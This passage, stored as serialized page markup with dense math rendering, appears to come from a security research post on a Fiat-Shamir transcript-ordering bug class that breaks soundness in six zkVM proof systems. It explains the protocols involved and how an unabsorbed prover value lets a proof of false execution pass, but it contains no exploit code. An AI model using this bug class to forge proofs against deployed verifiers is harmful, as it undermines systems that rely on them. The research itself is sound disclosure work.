smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":21,"tag":75,"props":108356,"children":108357},{},[108358,108363],{"type":21,"tag":6137,"props":108359,"children":108360},{},[108361],{"type":27,"value":108362},"Lookup / LogUp",{"type":27,"value":108364},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":21,"tag":75,"props":108366,"children":108367},{},[108368,108373],{"type":21,"tag":6137,"props":108369,"children":108370},{},[108371],{"type":27,"value":108372},"AIR",{"type":27,"value":108374},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":21,"tag":75,"props":108376,"children":108377},{},[108378,108383],{"type":21,"tag":6137,"props":108379,"children":108380},{},[108381],{"type":27,"value":108382},"STARK",{"type":27,"value":108384},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":21,"tag":75,"props":108386,"children":108387},{},[108388,108393],{"type":21,"tag":6137,"props":108389,"children":108390},{},[108391],{"type":27,"value":108392},"FRI",{"type":27,"value":108394},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":21,"tag":75,"props":108396,"children":108397},{},[108398,108403],{"type":21,"tag":6137,"props":108399,"children":108400},{},[108401],{"type":27,"value":108402},"OODS",{"type":27,"value":108404},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":21,"tag":75,"props":108406,"children":108407},{},[108408,108413],{"type":21,"tag":6137,"props":108409,"children":108410},{},[108411],{"type":27,"value":108412},"GKR",{"type":27,"value":108414},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":21,"tag":75,"props":108416,"children":108417},{},[108418,108423,108425],{"type":21,"tag":6137,"props":108419,"children":108420},{},[108421],{"type":27,"value":108422},"claimed_sum / opening_claim",{"type":27,"value":108424},": Prover-supplied values that feed into verification equations. ",{"type":21,"tag":6137,"props":108426,"children":108427},{},[108428],{"type":27,"value":108429},"These are the usual suspects for binding bugs.",{"type":21,"tag":19590,"props":108431,"children":108432},{},[],{"type":21,"tag":22,"props":108434,"children":108436},{"id":108435},"what-are-we-even-breaking",[108437],{"type":27,"value":108438},"What Are We Even Breaking?",{"type":21,"tag":59,"props":108440,"children":108442},{"id":108441},"what-is-a-zkvm",[108443],{"type":27,"value":108444},"What is a zkVM?",{"type":21,"tag":30,"props":108446,"children":108447},{},[108448],{"type":27,"value":108449},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":21,"tag":30,"props":108451,"children":108452},{},[108453,108455,108480],{"type":27,"value":108454},"Formally, the verifier is convinced that there exists a valid trace ",{"type":21,"tag":194,"props":108456,"children":108458},{"className":108457},[4794,4795],[108459],{"type":21,"tag":198,"props":108460,"children":108462},{"className":108461},[4800],[108463],{"type":21,"tag":198,"props":108464,"children":108466},{"className":108465,"ariaHidden":4806},[4805],[108467],{"type":21,"tag":198,"props":108468,"children":108470},{"className":108469},[4811],[108471,108475],{"type":21,"tag":198,"props":108472,"children":108474},{"className":108473,"style":22376},[4816],[],{"type":21,"tag":198,"props":108476,"children":108478},{"className":108477,"style":22382},[4822,22381],[108479],{"type":27,"value":6800},{"type":27,"value":108481}," such that:",{"type":21,"tag":30,"props":108483,"children":108484},{},[108485],{"type":21,"tag":194,"props":108486,"children":108488},{"className":108487},[4794,4795],[108489],{"type":21,"tag":198,"props":108490,"children":108492},{"className":108491},[4800],[108493],{"type":21,"tag":198,"props":108494,"children":108496},{"className":108495,"ariaHidden":4806},[4805],[108497,108541,108616],{"type":21,"tag":198,"props":108498,"children":108500},{"className":108499},[4811],[108501,108505,108511,108515,108520,108524,108528,108533,108537],{"type":21,"tag":198,"props":108502,"children":108504},{"className":108503,"style":93344},[4816],[],{"type":21,"tag":198,"props":108506,"children":108508},{"className":108507},[4822],[108509],{"type":27,"value":108510},"∃",{"type":21,"tag":198,"props":108512,"children":108514},{"className":108513,"style":4998},[4901],[],{"type":21,"tag":198,"props":108516,"children":108518},{"className":108517,"style":22382},[4822,22381],[108519],{"type":27,"value":6800},{"type":21,"tag":198,"props":108521,"children":108523},{"className":108522,"style":4998},[4901],[],{"type":21,"tag":198,"props":108525,"children":108527},{"className":108526,"style":4998},[4901],[],{"type":21,"tag":198,"props":108529,"children":108531},{"className":108530},[5003],[108532],{"type":27,"value":185},{"type":21,"tag":198,"props":108534,"children":108536},{"className":108535,"style":4998},[4901],[],{"type":21,"tag":198,"props":108538,"children":108540},{"className":108539,"style":4998},[4901],[],{"type":21,"tag":198,"props":108542,"children":108544},{"className":108543},[4811],[108545,108549,108560,108565,108570,108575,108579,108584,108589,108593,108598,108603,108607,108612],{"type":21,"tag":198,"props":108546,"children":108548},{"className":108547,"style":4922},[4816],[],{"type":21,"tag":198,"props":108550,"children":108552},{"className":108551},[4822],[108553],{"type":21,"tag":198,"props":108554,"children":108557},{"className":108555},[4822,108556],"mathsf",[108558],{"type":27,"value":108559},"VM",{"type":21,"tag":198,"props":108561,"children":108563},{"className":108562},[22510],[108564],{"type":27,"value":706},{"type":21,"tag":198,"props":108566,"children":108568},{"className":108567,"style":22382},[4822,22381],[108569],{"type":27,"value":22385},{"type":21,"tag":198,"props":108571,"children":108573},{"className":108572},[4933],[108574],{"type":27,"value":2205},{"type":21,"tag":198,"props":108576,"children":108578},{"className":108577,"style":4939},[4901],[],{"type":21,"tag":198,"props":108580,"children":108582},{"className":108581,"style":95449},[4822,22381],[108583],{"type":27,"value":6945},{"type":21,"tag":198,"props":108585,"children":108587},{"className":108586},[4933],[108588],{"type":27,"value":2205},{"type":21,"tag":198,"props":108590,"children":108592},{"className":108591,"style":4939},[4901],[],{"type":21,"tag":198,"props":108594,"children":108596},{"className":108595,"style":22382},[4822,22381],[108597],{"type":27,"value":6800},{"type":21,"tag":198,"props":108599,"children":108601},{"className":108600},[22532],[108602],{"type":27,"value":2109},{"type":21,"tag":198,"props":108604,"children":108606},{"className":108605,"style":4998},[4901],[],{"type":21,"tag":198,"props":108608,"children":108610},{"className":108609},[5003],[108611],{"type":27,"value":23127},{"type":21,"tag":198,"props":108613,"children":108615},{"className":108614,"style":4998},[4901],[],{"type":21,"tag":198,"props":108617,"children":108619},{"className":108618},[4811],[108620,108624],{"type":21,"tag":198,"props":108621,"children":108623},{"className":108622,"style":22376},[4816],[],{"type":21,"tag":198,"props":108625,"children":108628},{"className":108626,"style":108627},[4822,22381],"margin-right:0.22222em;",[108629],{"type":27,"value":6975},{"type":21,"tag":30,"props":108631,"children":108632},{},[108633],{"type":27,"value":108634},"where:",{"type":21,"tag":138,"props":108636,"children":108637},{},[108638,108668,108698,108728],{"type":21,"tag":75,"props":108639,"children":108640},{},[108641,108666],{"type":21,"tag":194,"props":108642,"children":108644},{"className":108643},[4794,4795],[108645],{"type":21,"tag":198,"props":108646,"children":108648},{"className":108647},[4800],[108649],{"type":21,"tag":198,"props":108650,"children":108652},{"className":108651,"ariaHidden":4806},[4805],[108653],{"type":21,"tag":198,"props":108654,"children":108656},{"className":108655},[4811],[108657,108661],{"type":21,"tag":198,"props":108658,"children":108660},{"className":108659,"style":22376},[4816],[],{"type":21,"tag":198,"props":108662,"children":108664},{"className":108663,"style":22382},[4822,22381],[108665],{"type":27,"value":22385},{"type":27,"value":108667}," = program/circuit description (public)",{"type":21,"tag":75,"props":108669,"children":108670},{},[108671,108696],{"type":21,"tag":194,"props":108672,"children":108674},{"className":108673},[4794,4795],[108675],{"type":21,"tag":198,"props":108676,"children":108678},{"className":108677},[4800],[108679],{"type":21,"tag":198,"props":108680,"children":108682},{"className":108681,"ariaHidden":4806},[4805],[108683],{"type":21,"tag":198,"props":108684,"children":108686},{"className":108685},[4811],[108687,108691],{"type":21,"tag":198,"props":108688,"children":108690},{"className":108689,"style":22376},[4816],[],{"type":21,"tag":198,"props":108692,"children":108694},{"className":108693,"style":95449},[4822,22381],[108695],{"type":27,"value":6945},{"type":27,"value":108697}," = public input",{"type":21,"tag":75,"props":108699,"children":108700},{},[108701,108726],{"type":21,"tag":194,"props":108702,"children":108704},{"className":108703},[4794,4795],[108705],{"type":21,"tag":198,"props":108706,"children":108708},{"className":108707},[4800],[108709],{"type":21,"tag":198,"props":108710,"children":108712},{"className":108711,"ariaHidden":4806},[4805],[108713],{"type":21,"tag":198,"props":108714,"children":108716},{"className":108715},[4811],[108717,108721],{"type":21,"tag":198,"props":108718,"children":108720},{"className":108719,"style":22376},[4816],[],{"type":21,"tag":198,"props":108722,"children":108724},{"className":108723,"style":108627},[4822,22381],[108725],{"type":27,"value":6975},{"type":27,"value":108727}," = claimed public output",{"type":21,"tag":75,"props":108729,"children":108730},{},[108731,108756],{"type":21,"tag":194,"props":108732,"children":108734},{"className":108733},[4794,4795],[108735],{"type":21,"tag":198,"props":108736,"children":108738},{"className":108737},[4800],[108739],{"type":21,"tag":198,"props":108740,"children":108742},{"className":108741,"ariaHidden":4806},[4805],[108743],{"type":21,"tag":198,"props":108744,"children":108746},{"className":108745},[4811],[108747,108751],{"type":21,"tag":198,"props":108748,"children":108750},{"className":108749,"style":22376},[4816],[],{"type":21,"tag":198,"props":108752,"children":108754},{"className":108753,"style":22382},[4822,22381],[108755],{"type":27,"value":6800},{"type":27,"value":108757}," = private witness/trace (registers, memory history, intermediate values)",{"type":21,"tag":30,"props":108759,"children":108760},{},[108761,108763,108767],{"type":27,"value":108762},"The verifier does ",{"type":21,"tag":6137,"props":108764,"children":108765},{},[108766],{"type":27,"value":19288},{"type":27,"value":108768}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":21,"tag":30,"props":108770,"children":108771},{},[108772,108774,108779],{"type":27,"value":108773},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":21,"tag":6137,"props":108775,"children":108776},{},[108777],{"type":27,"value":108778},"soundness",{"type":27,"value":185},{"type":21,"tag":138,"props":108781,"children":108782},{},[108783,108793],{"type":21,"tag":75,"props":108784,"children":108785},{},[108786,108791],{"type":21,"tag":6137,"props":108787,"children":108788},{},[108789],{"type":27,"value":108790},"Completeness",{"type":27,"value":108792},": honest execution verifies.",{"type":21,"tag":75,"props":108794,"children":108795},{},[108796,108801],{"type":21,"tag":6137,"props":108797,"children":108798},{},[108799],{"type":27,"value":108800},"Soundness",{"type":27,"value":108802},": false execution should not verify.",{"type":21,"tag":30,"props":108804,"children":108805},{},[108806,108808,108812],{"type":27,"value":108807},"We are breaking ",{"type":21,"tag":6137,"props":108809,"children":108810},{},[108811],{"type":27,"value":108778},{"type":27,"value":108813}," in all six systems.",{"type":21,"tag":30,"props":108815,"children":108816},{},[108817],{"type":27,"value":108818},"In all six codebases, verification follows this abstract flow:",{"type":21,"tag":71,"props":108820,"children":108821},{},[108822,108827,108832,108837,108842,108847],{"type":21,"tag":75,"props":108823,"children":108824},{},[108825],{"type":27,"value":108826},"Fix public statement data.",{"type":21,"tag":75,"props":108828,"children":108829},{},[108830],{"type":27,"value":108831},"Parse proof payload (commitments, reduction messages, openings).",{"type":21,"tag":75,"props":108833,"children":108834},{},[108835],{"type":27,"value":108836},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":21,"tag":75,"props":108838,"children":108839},{},[108840],{"type":27,"value":108841},"Check constraint equations at sampled points.",{"type":21,"tag":75,"props":108843,"children":108844},{},[108845],{"type":27,"value":108846},"Check PCS/opening consistency.",{"type":21,"tag":75,"props":108848,"children":108849},{},[108850],{"type":27,"value":108851},"Accept only if all checks are jointly consistent.",{"type":21,"tag":30,"props":108853,"children":108854},{},[108855],{"type":21,"tag":1376,"props":108856,"children":108859},{"alt":108857,"src":108858},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":21,"tag":30,"props":108861,"children":108862},{},[108863],{"type":27,"value":108864},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":21,"tag":19590,"props":108866,"children":108867},{},[],{"type":21,"tag":22,"props":108869,"children":108871},{"id":108870},"the-building-blocks",[108872],{"type":27,"value":108873},"The Building Blocks",{"type":21,"tag":30,"props":108875,"children":108876},{},[108877],{"type":27,"value":108878},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":21,"tag":59,"props":108880,"children":108882},{"id":108881},"the-fiat-shamir-transform",[108883],{"type":27,"value":108884},"The Fiat-Shamir Transform",{"type":21,"tag":30,"props":108886,"children":108887},{},[108888],{"type":27,"value":108889},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":21,"tag":30,"props":108891,"children":108892},{},[108893],{"type":27,"value":108894},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":21,"tag":30,"props":108896,"children":108897},{},[108898],{"type":21,"tag":1376,"props":108899,"children":108902},{"alt":108900,"src":108901},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":21,"tag":30,"props":108904,"children":108905},{},[108906,108908,108912,108914,108919],{"type":27,"value":108907},"The hash (transcript) ",{"type":21,"tag":6137,"props":108909,"children":108910},{},[108911],{"type":27,"value":7331},{"type":27,"value":108913}," include everything that affects verification ",{"type":21,"tag":6137,"props":108915,"children":108916},{},[108917],{"type":27,"value":108918},"BEFORE",{"type":27,"value":108920}," the challenges derived from it are used.",{"type":21,"tag":30,"props":108922,"children":108923},{},[108924,108926,108952,108954,108979,108981,109006,109008,109033,109035,109060],{"type":27,"value":108925},"If some value ",{"type":21,"tag":194,"props":108927,"children":108929},{"className":108928},[4794,4795],[108930],{"type":21,"tag":198,"props":108931,"children":108933},{"className":108932},[4800],[108934],{"type":21,"tag":198,"props":108935,"children":108937},{"className":108936,"ariaHidden":4806},[4805],[108938],{"type":21,"tag":198,"props":108939,"children":108941},{"className":108940},[4811],[108942,108946],{"type":21,"tag":198,"props":108943,"children":108945},{"className":108944,"style":22376},[4816],[],{"type":21,"tag":198,"props":108947,"children":108949},{"className":108948,"style":108627},[4822,22381],[108950],{"type":27,"value":108951},"V",{"type":27,"value":108953}," affects a verification equation, but ",{"type":21,"tag":194,"props":108955,"children":108957},{"className":108956},[4794,4795],[108958],{"type":21,"tag":198,"props":108959,"children":108961},{"className":108960},[4800],[108962],{"type":21,"tag":198,"props":108963,"children":108965},{"className":108964,"ariaHidden":4806},[4805],[108966],{"type":21,"tag":198,"props":108967,"children":108969},{"className":108968},[4811],[108970,108974],{"type":21,"tag":198,"props":108971,"children":108973},{"className":108972,"style":22376},[4816],[],{"type":21,"tag":198,"props":108975,"children":108977},{"className":108976,"style":108627},[4822,22381],[108978],{"type":27,"value":108951},{"type":27,"value":108980}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":21,"tag":194,"props":108982,"children":108984},{"className":108983},[4794,4795],[108985],{"type":21,"tag":198,"props":108986,"children":108988},{"className":108987},[4800],[108989],{"type":21,"tag":198,"props":108990,"children":108992},{"className":108991,"ariaHidden":4806},[4805],[108993],{"type":21,"tag":198,"props":108994,"children":108996},{"className":108995},[4811],[108997,109001],{"type":21,"tag":198,"props":108998,"children":109000},{"className":108999,"style":22376},[4816],[],{"type":21,"tag":198,"props":109002,"children":109004},{"className":109003,"style":108627},[4822,22381],[109005],{"type":27,"value":108951},{"type":27,"value":109007},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":21,"tag":194,"props":109009,"children":109011},{"className":109010},[4794,4795],[109012],{"type":21,"tag":198,"props":109013,"children":109015},{"className":109014},[4800],[109016],{"type":21,"tag":198,"props":109017,"children":109019},{"className":109018,"ariaHidden":4806},[4805],[109020],{"type":21,"tag":198,"props":109021,"children":109023},{"className":109022},[4811],[109024,109028],{"type":21,"tag":198,"props":109025,"children":109027},{"className":109026,"style":22376},[4816],[],{"type":21,"tag":198,"props":109029,"children":109031},{"className":109030,"style":108627},[4822,22381],[109032],{"type":27,"value":108951},{"type":27,"value":109034},", which may allow it to choose ",{"type":21,"tag":194,"props":109036,"children":109038},{"className":109037},[4794,4795],[109039],{"type":21,"tag":198,"props":109040,"children":109042},{"className":109041},[4800],[109043],{"type":21,"tag":198,"props":109044,"children":109046},{"className":109045,"ariaHidden":4806},[4805],[109047],{"type":21,"tag":198,"props":109048,"children":109050},{"className":109049},[4811],[109051,109055],{"type":21,"tag":198,"props":109052,"children":109054},{"className":109053,"style":22376},[4816],[],{"type":21,"tag":198,"props":109056,"children":109058},{"className":109057,"style":108627},[4822,22381],[109059],{"type":27,"value":108951},{"type":27,"value":109061}," exactly so that the verification passes, even though it should not.",{"type":21,"tag":30,"props":109063,"children":109064},{},[109065],{"type":27,"value":109066},"This is the bug class we found in all six systems.",{"type":21,"tag":59,"props":109068,"children":109070},{"id":109069},"the-sumcheck-protocol",[109071],{"type":27,"value":109072},"The Sumcheck Protocol",{"type":21,"tag":30,"props":109074,"children":109075},{},[109076,109078,109164],{"type":27,"value":109077},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":21,"tag":194,"props":109079,"children":109081},{"className":109080},[4794,4795],[109082],{"type":21,"tag":198,"props":109083,"children":109085},{"className":109084},[4800],[109086],{"type":21,"tag":198,"props":109087,"children":109089},{"className":109088,"ariaHidden":4806},[4805],[109090],{"type":21,"tag":198,"props":109091,"children":109093},{"className":109092},[4811],[109094,109098,109103,109108,109113,109117,109122],{"type":21,"tag":198,"props":109095,"children":109097},{"className":109096,"style":4922},[4816],[],{"type":21,"tag":198,"props":109099,"children":109101},{"className":109100},[22510],[109102],{"type":27,"value":77000},{"type":21,"tag":198,"props":109104,"children":109106},{"className":109105},[4822],[109107],{"type":27,"value":3482},{"type":21,"tag":198,"props":109109,"children":109111},{"className":109110},[4933],[109112],{"type":27,"value":2205},{"type":21,"tag":198,"props":109114,"children":109116},{"className":109115,"style":4939},[4901],[],{"type":21,"tag":198,"props":109118,"children":109120},{"className":109119},[4822],[109121],{"type":27,"value":134},{"type":21,"tag":198,"props":109123,"children":109125},{"className":109124},[22532],[109126,109131],{"type":21,"tag":198,"props":109127,"children":109129},{"className":109128},[22532],[109130],{"type":27,"value":779},{"type":21,"tag":198,"props":109132,"children":109134},{"className":109133},[4837],[109135],{"type":21,"tag":198,"props":109136,"children":109138},{"className":109137},[4842],[109139],{"type":21,"tag":198,"props":109140,"children":109142},{"className":109141},[4847],[109143],{"type":21,"tag":198,"props":109144,"children":109147},{"className":109145,"style":109146},[4852],"height:0.6644em;",[109148],{"type":21,"tag":198,"props":109149,"children":109150},{"style":4856},[109151,109155],{"type":21,"tag":198,"props":109152,"children":109154},{"className":109153,"style":4862},[4861],[],{"type":21,"tag":198,"props":109156,"children":109158},{"className":109157},[4867,4868,4869,4870],[109159],{"type":21,"tag":198,"props":109160,"children":109162},{"className":109161},[4822,22381,4870],[109163],{"type":27,"value":56780},{"type":27,"value":109165},"), i.e the claim:",{"type":21,"tag":30,"props":109167,"children":109168},{},[109169],{"type":21,"tag":194,"props":109170,"children":109172},{"className":109171},[4794,4795],[109173],{"type":21,"tag":198,"props":109174,"children":109176},{"className":109175},[4800],[109177],{"type":21,"tag":198,"props":109178,"children":109180},{"className":109179,"ariaHidden":4806},[4805],[109181,109207],{"type":21,"tag":198,"props":109182,"children":109184},{"className":109183},[4811],[109185,109189,109194,109198,109203],{"type":21,"tag":198,"props":109186,"children":109188},{"className":109187,"style":22376},[4816],[],{"type":21,"tag":198,"props":109190,"children":109192},{"className":109191,"style":93663},[4822,22381],[109193],{"type":27,"value":93666},{"type":21,"tag":198,"props":109195,"children":109197},{"className":109196,"style":4998},[4901],[],{"type":21,"tag":198,"props":109199,"children":109201},{"className":109200},[5003],[109202],{"type":27,"value":3174},{"type":21,"tag":198,"props":109204,"children":109206},{"className":109205,"style":4998},[4901],[],{"type":21,"tag":198,"props":109208,"children":109210},{"className":109209},[4811],[109211,109215,109365,109369,109512,109516,109523,109527,109671,109675,109681,109686,109743,109748,109752,109809,109814,109818,109824,109828,109833,109837,109895],{"type":21,"tag":198,"props":109212,"children":109214},{"className":109213,"style":22412},[4816],[],{"type":21,"tag":198,"props":109216,"children":109218},{"className":109217},[22417],[109219,109225],{"type":21,"tag":198,"props":109220,"children":109222},{"className":109221,"style":22424},[22417,22422,22423],[109223],{"type":27,"value":109224},"∑",{"type":21,"tag":198,"props":109226,"children":109228},{"className":109227},[4837],[109229],{"type":21,"tag":198,"props":109230,"children":109232},{"className":109231},[4842,22435],[109233,109354],{"type":21,"tag":198,"props":109234,"children":109236},{"className":109235},[4847],[109237,109349],{"type":21,"tag":198,"props":109238,"children":109240},{"className":109239,"style":22444},[4852],[109241],{"type":21,"tag":198,"props":109242,"children":109243},{"style":22448},[109244,109248],{"type":21,"tag":198,"props":109245,"children":109247},{"className":109246,"style":4862},[4861],[],{"type":21,"tag":198,"props":109249,"children":109251},{"className":109250},[4867,4868,4869,4870],[109252],{"type":21,"tag":198,"props":109253,"children":109255},{"className":109254},[4822,4870],[109256,109319,109324,109329,109334,109339,109344],{"type":21,"tag":198,"props":109257,"children":109259},{"className":109258},[4822,4870],[109260,109265],{"type":21,"tag":198,"props":109261,"children":109263},{"className":109262},[4822,22381,4870],[109264],{"type":27,"value":20070},{"type":21,"tag":198,"props":109266,"children":109268},{"className":109267},[4837],[109269],{"type":21,"tag":198,"props":109270,"children":109272},{"className":109271},[4842,22435],[109273,109307],{"type":21,"tag":198,"props":109274,"children":109276},{"className":109275},[4847],[109277,109302],{"type":21,"tag":198,"props":109278,"children":109281},{"className":109279,"style":109280},[4852],"height:0.3173em;",[109282],{"type":21,"tag":198,"props":109283,"children":109285},{"style":109284},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[109286,109291],{"type":21,"tag":198,"props":109287,"children":109290},{"className":109288,"style":109289},[4861],"height:2.5em;",[],{"type":21,"tag":198,"props":109292,"children":109296},{"className":109293},[4867,109294,109295,4870],"reset-size3","size1",[109297],{"type":21,"tag":198,"props":109298,"children":109300},{"className":109299},[4822,4870],[109301],{"type":27,"value":134},{"type":21,"tag":198,"props":109303,"children":109305},{"className":109304},[22538],[109306],{"type":27,"value":22541},{"type":21,"tag":198,"props":109308,"children":109310},{"className":109309},[4847],[109311],{"type":21,"tag":198,"props":109312,"children":109315},{"className":109313,"style":109314},[4852],"height:0.143em;",[109316],{"type":21,"tag":198,"props":109317,"children":109318},{},[],{"type":21,"tag":198,"props":109320,"children":109322},{"className":109321},[5003,4870],[109323],{"type":27,"value":22488},{"type":21,"tag":198,"props":109325,"children":109327},{"className":109326},[22510,4870],[109328],{"type":27,"value":77000},{"type":21,"tag":198,"props":109330,"children":109332},{"className":109331},[4822,4870],[109333],{"type":27,"value":3482},{"type":21,"tag":198,"props":109335,"children":109337},{"className":109336},[4933,4870],[109338],{"type":27,"value":2205},{"type":21,"tag":198,"props":109340,"children":109342},{"className":109341},[4822,4870],[109343],{"type":27,"value":134},{"type":21,"tag":198,"props":109345,"children":109347},{"className":109346},[22532,4870],[109348],{"type":27,"value":779},{"type":21,"tag":198,"props":109350,"children":109352},{"className":109351},[22538],[109353],{"type":27,"value":22541},{"type":21,"tag":198,"props":109355,"children":109357},{"className":109356},[4847],[109358],{"type":21,"tag":198,"props":109359,"children":109361},{"className":109360,"style":22549},[4852],[109362],{"type":21,"tag":198,"props":109363,"children":109364},{},[],{"type":21,"tag":198,"props":109366,"children":109368},{"className":109367,"style":4939},[4901],[],{"type":21,"tag":198,"props":109370,"children":109372},{"className":109371},[22417],[109373,109378],{"type":21,"tag":198,"props":109374,"children":109376},{"className":109375,"style":22424},[22417,22422,22423],[109377],{"type":27,"value":109224},{"type":21,"tag":198,"props":109379,"children":109381},{"className":109380},[4837],[109382],{"type":21,"tag":198,"props":109383,"children":109385},{"className":109384},[4842,22435],[109386,109501],{"type":21,"tag":198,"props":109387,"children":109389},{"className":109388},[4847],[109390,109496],{"type":21,"tag":198,"props":109391,"children":109393},{"className":109392,"style":22444},[4852],[109394],{"type":21,"tag":198,"props":109395,"children":109396},{"style":22448},[109397,109401],{"type":21,"tag":198,"props":109398,"children":109400},{"className":109399,"style":4862},[4861],[],{"type":21,"tag":198,"props":109402,"children":109404},{"className":109403},[4867,4868,4869,4870],[109405],{"type":21,"tag":198,"props":109406,"children":109408},{"className":109407},[4822,4870],[109409,109466,109471,109476,109481,109486,109491],{"type":21,"tag":198,"props":109410,"children":109412},{"className":109411},[4822,4870],[109413,109418],{"type":21,"tag":198,"props":109414,"children":109416},{"className":109415},[4822,22381,4870],[109417],{"type":27,"value":20070},{"type":21,"tag":198,"props":109419,"children":109421},{"className":109420},[4837],[109422],{"type":21,"tag":198,"props":109423,"children":109425},{"className":109424},[4842,22435],[109426,109455],{"type":21,"tag":198,"props":109427,"children":109429},{"className":109428},[4847],[109430,109450],{"type":21,"tag":198,"props":109431,"children":109433},{"className":109432,"style":109280},[4852],[109434],{"type":21,"tag":198,"props":109435,"children":109436},{"style":109284},[109437,109441],{"type":21,"tag":198,"props":109438,"children":109440},{"className":109439,"style":109289},[4861],[],{"type":21,"tag":198,"props":109442,"children":109444},{"className":109443},[4867,109294,109295,4870],[109445],{"type":21,"tag":198,"props":109446,"children":109448},{"className":109447},[4822,4870],[109449],{"type":27,"value":3931},{"type":21,"tag":198,"props":109451,"children":109453},{"className":109452},[22538],[109454],{"type":27,"value":22541},{"type":21,"tag":198,"props":109456,"children":109458},{"className":109457},[4847],[109459],{"type":21,"tag":198,"props":109460,"children":109462},{"className":109461,"style":109314},[4852],[109463],{"type":21,"tag":198,"props":109464,"children":109465},{},[],{"type":21,"tag":198,"props":109467,"children":109469},{"className":109468},[5003,4870],[109470],{"type":27,"value":22488},{"type":21,"tag":198,"props":109472,"children":109474},{"className":109473},[22510,4870],[109475],{"type":27,"value":77000},{"type":21,"tag":198,"props":109477,"children":109479},{"className":109478},[4822,4870],[109480],{"type":27,"value":3482},{"type":21,"tag":198,"props":109482,"children":109484},{"className":109483},[4933,4870],[109485],{"type":27,"value":2205},{"type":21,"tag":198,"props":109487,"children":109489},{"className":109488},[4822,4870],[109490],{"type":27,"value":134},{"type":21,"tag":198,"props":109492,"children":109494},{"className":109493},[22532,4870],[109495],{"type":27,"value":779},{"type":21,"tag":198,"props":109497,"children":109499},{"className":109498},[22538],[109500],{"type":27,"value":22541},{"type":21,"tag":198,"props":109502,"children":109504},{"className":109503},[4847],[109505],{"type":21,"tag":198,"props":109506,"children":109508},{"className":109507,"style":22549},[4852],[109509],{"type":21,"tag":198,"props":109510,"children":109511},{},[],{"type":21,"tag":198,"props":109513,"children":109515},{"className":109514,"style":4939},[4901],[],{"type":21,"tag":198,"props":109517,"children":109520},{"className":109518},[109519],"minner",[109521],{"type":27,"value":109522},"⋯",{"type":21,"tag":198,"props":109524,"children":109526},{"className":109525,"style":4939},[4901],[],{"type":21,"tag":198,"props":109528,"children":109530},{"className":109529},[22417],[109531,109536],{"type":21,"tag":198,"props":109532,"children":109534},{"className":109533,"style":22424},[22417,22422,22423],[109535],{"type":27,"value":109224},{"type":21,"tag":198,"props":109537,"children":109539},{"className":109538},[4837],[109540],{"type":21,"tag":198,"props":109541,"children":109543},{"className":109542},[4842,22435],[109544,109660],{"type":21,"tag":198,"props":109545,"children":109547},{"className":109546},[4847],[109548,109655],{"type":21,"tag":198,"props":109549,"children":109551},{"className":109550,"style":22444},[4852],[109552],{"type":21,"tag":198,"props":109553,"children":109554},{"style":22448},[109555,109559],{"type":21,"tag":198,"props":109556,"children":109558},{"className":109557,"style":4862},[4861],[],{"type":21,"tag":198,"props":109560,"children":109562},{"className":109561},[4867,4868,4869,4870],[109563],{"type":21,"tag":198,"props":109564,"children":109566},{"className":109565},[4822,4870],[109567,109625,109630,109635,109640,109645,109650],{"type":21,"tag":198,"props":109568,"children":109570},{"className":109569},[4822,4870],[109571,109576],{"type":21,"tag":198,"props":109572,"children":109574},{"className":109573},[4822,22381,4870],[109575],{"type":27,"value":20070},{"type":21,"tag":198,"props":109577,"children":109579},{"className":109578},[4837],[109580],{"type":21,"tag":198,"props":109581,"children":109583},{"className":109582},[4842,22435],[109584,109614],{"type":21,"tag":198,"props":109585,"children":109587},{"className":109586},[4847],[109588,109609],{"type":21,"tag":198,"props":109589,"children":109592},{"className":109590,"style":109591},[4852],"height:0.1645em;",[109593],{"type":21,"tag":198,"props":109594,"children":109595},{"style":109284},[109596,109600],{"type":21,"tag":198,"props":109597,"children":109599},{"className":109598,"style":109289},[4861],[],{"type":21,"tag":198,"props":109601,"children":109603},{"className":109602},[4867,109294,109295,4870],[109604],{"type":21,"tag":198,"props":109605,"children":109607},{"className":109606},[4822,22381,4870],[109608],{"type":27,"value":56780},{"type":21,"tag":198,"props":109610,"children":109612},{"className":109611},[22538],[109613],{"type":27,"value":22541},{"type":21,"tag":198,"props":109615,"children":109617},{"className":109616},[4847],[109618],{"type":21,"tag":198,"props":109619,"children":109621},{"className":109620,"style":109314},[4852],[109622],{"type":21,"tag":198,"props":109623,"children":109624},{},[],{"type":21,"tag":198,"props":109626,"children":109628},{"className":109627},[5003,4870],[109629],{"type":27,"value":22488},{"type":21,"tag":198,"props":109631,"children":109633},{"className":109632},[22510,4870],[109634],{"type":27,"value":77000},{"type":21,"tag":198,"props":109636,"children":109638},{"className":109637},[4822,4870],[109639],{"type":27,"value":3482